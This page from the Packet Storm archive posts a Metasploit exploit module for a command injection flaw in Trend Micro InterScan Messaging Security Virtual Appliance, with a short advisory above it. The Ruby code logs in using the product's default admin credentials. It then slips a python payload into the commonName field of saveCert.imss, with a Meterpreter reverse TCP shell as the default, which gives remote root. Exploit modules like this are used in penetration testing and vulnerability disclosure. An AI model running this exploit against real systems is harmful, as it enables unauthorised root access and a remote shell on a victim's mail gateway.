what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution

Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution
Posted Feb 25, 2017
Authored by Mehmet Ince | Site metasploit.com

This Metasploit module exploits a command injection vulnerability in the Trend Micro IMSVA product. An authenticated user can execute a terminal command under the context of the web server user which is root. Besides, default installation of IMSVA comes with a default administrator credentials. saveCert.imss endpoint takes several user inputs and performs blacklisting. After that it use them as argument of predefined operating system command without proper sanitation. However,due to improper blacklisting rule it's possible to inject arbitrary commands into it. InterScan Messaging Security prior to 9.1.-1600 affected by this issue. This Metasploit module was tested against IMSVA 9.1-1600.

tags | exploit, web, arbitrary, root
SHA-256 | 11e69f1f14c7fda2a5c79709f1ef54202402550d7f061eab772393f32c945aea

Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => 'Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution',
'Description' => %q{
This module exploits a command injection vulnerability in the Trend Micro
IMSVA product. An authenticated user can execute a terminal command under
the context of the web server user which is root. Besides, default installation
of IMSVA comes with a default administrator credentials.

saveCert.imss endpoint takes several user inputs and performs blacklisting.
After that it use them as argument of predefined operating system command
without proper sanitation. However,due to improper blacklisting rule it's possible to inject
arbitrary commands into it. InterScan Messaging Security prior to 9.1.-1600 affected by this issue.

This module was tested against IMSVA 9.1-1600.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # discovery & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/advisory-trend-micro-interscan-messaging-security-virtual-appliance-remote-code-execution/']
],
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'BadChars' => "\x2f\x22"
},
'DefaultOptions' =>
{
'SSL' => true,
'payload' => 'python/meterpreter/reverse_tcp',
},
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => 'Jan 15 2017',
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The target URI of the Trend Micro IMSVA', '/']),
OptString.new('USERNAME', [ true, 'The username for authentication', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for authentication', 'imsva' ]),
Opt::RPORT(8445)
]
)
end

def login

user = datastore['USERNAME']
pass = datastore['PASSWORD']

print_status("Attempting to login with #{user}:#{pass}")

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.imss'),
'vars_post' => {
'userid' => user,
'pwdfake' => Rex::Text::encode_base64(pass)
}
})

if res && res.body.include?("The user name or password you entered is invalid")
fail_with(Failure::NoAccess, "#{peer} - Login with #{user}:#{pass} failed...")
end

cookie = res.get_cookies
if res.code == 302 && cookie.include?("JSESSIONID")
jsessionid = cookie.scan(/JSESSIONID=(\w+);/).flatten.first
print_good("Authenticated as #{user}:#{pass}")
return jsessionid
end

nil
end

def exploit

jsessionid = login

unless jsessionid
fail_with(Failure::Unknown, 'Unable to obtain the cookie session ID')
end

# Somehow java stores last visited url on session like viewstate!
# Visit form before submitting it. Otherwise, it will cause a crash.

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'initCert.imss'),
'cookie' => "JSESSIONID=#{jsessionid}"
})

if !res or !res.body.include?("Transport Layer Security")
fail_with(Failure::Unknown, 'Unable to visit initCert.imss')
end

# Random string that will be used as a cert name, state, email etc.
r = Rex::Text::rand_text_alphanumeric(5)

print_status("Delivering payload...")

# Since double quote are blacklisted, we are using Single, Backslash, Single, Single on our payload. Thanks to @wvu !!!
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'saveCert.imss'),
'cookie' => "JSESSIONID=#{jsessionid}",
'vars_get' => {
'mode' => 0
},
'vars_post' => {
'certName' => r,
'certType' => 0,
'keyLength' => 2048,
'countryCode' => 'TR',
'state' => r,
'locality' => r,
'org' => r,
'orgUnit' => r,
'commonName' => "#{r}';python -c '#{payload.encoded.gsub("'", "'\\\\''")}' #",
'emailAddress' => "#{r}@mail.com",
'validDays' => '',
'id' => '',
}
})
end

end
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close